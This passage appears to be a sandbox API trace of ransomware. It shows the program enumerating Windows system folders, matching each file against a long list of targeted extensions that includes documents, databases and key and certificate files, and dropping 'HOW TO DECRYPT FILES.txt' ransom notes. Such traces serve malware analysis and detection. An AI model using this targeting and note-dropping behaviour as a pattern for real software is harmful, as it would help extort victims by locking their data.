(lpString="*.xlsx") returned 6 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.015] lstrlenA (lpString="*.xls") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.015] lstrlenA (lpString="*.mp4") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.015] lstrlenA (lpString="*.ppt") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.015] lstrlenA (lpString="*.pptx") returned 6 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.015] lstrlenA (lpString="*.doc") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.015] lstrlenA (lpString="*.dot") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.016] lstrlenA (lpString="*.docx") returned 6 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.016] lstrlenA (lpString="*.7z") returned 4 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.016] lstrlenA (lpString="*.tar") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.016] lstrlenA (lpString="*.bz2") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.016] lstrlenA (lpString="*.gz") returned 4 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.016] lstrlenA (lpString="*.mkv") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.016] lstrlenA (lpString="*.eml") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.016] lstrlenA (lpString="*.msg") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.016] lstrlenA (lpString="*.edb") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.016] lstrlenA (lpString="*.accdb") returned 7 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.016] lstrlenA (lpString="*.odb") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.016] lstrlenA (lpString="*.java") returned 6 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.016] lstrlenA (lpString="*.asm") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.016] lstrlenA (lpString="*.pfx") returned 5 [0110.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.019] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x384672f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x384672f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.019] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.019] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9c19b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4e9c19b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4e9c19b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="45f425d09bfdeee682671a2e82b9dfa5", cAlternateFileName="45F425~1")) returned 1 [0110.019] lstrcmpA (lpString1=".", lpString2="45f425d09bfdeee682671a2e82b9dfa5") returned -1 [0110.019] lstrcmpA (lpString1="..", lpString2="45f425d09bfdeee682671a2e82b9dfa5") returned -1 [0110.019] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.020] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="45f425d09bfdeee682671a2e82b9dfa5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5" [0110.020] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9c19b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4e9c19b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4e9c19b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.020] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9c19b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4e9c19b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4e9c19b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.020] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.020] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e99b850, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4e99b850, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4e99b850, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x37000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.020] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0110.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0110.020] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0110.020] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\*.*") returned="*.*" [0110.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\" [0110.020] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\") returned="" [0110.020] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\HOW TO DECRYPT FILES.txt" [0110.021] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\45f425d09bfdeee682671a2e82b9dfa5\\how to decrypt files.txt")) returned 0xffffffff [0110.021] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\45f425d09bfdeee682671a2e82b9dfa5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.058] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.060] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.060] CloseHandle (hObject=0x90) returned 1 [0110.060] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll" [0110.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.060] lstrlenA (lpString="*.ems") returned 5 [0110.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.060] lstrlenA (lpString="*.db") returned 4 [0110.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.061] lstrlenA (lpString="*.dbf") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.061] lstrlenA (lpString="*.myox") returned 6 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.061] lstrlenA (lpString="*.myo") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.061] lstrlenA (lpString="*.qbw") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.061] lstrlenA (lpString="*.qbb") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.061] lstrlenA (lpString="*.qbm") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.061] lstrlenA (lpString="*.qbo") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.061] lstrlenA (lpString="*.qbx") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.061] lstrlenA (lpString="*.qba") returned 5 [0110.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.062] lstrlenA (lpString="*.qby") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.062] lstrlenA (lpString="*.qbj") returned 5 [0110.062] PathMatchSpecA 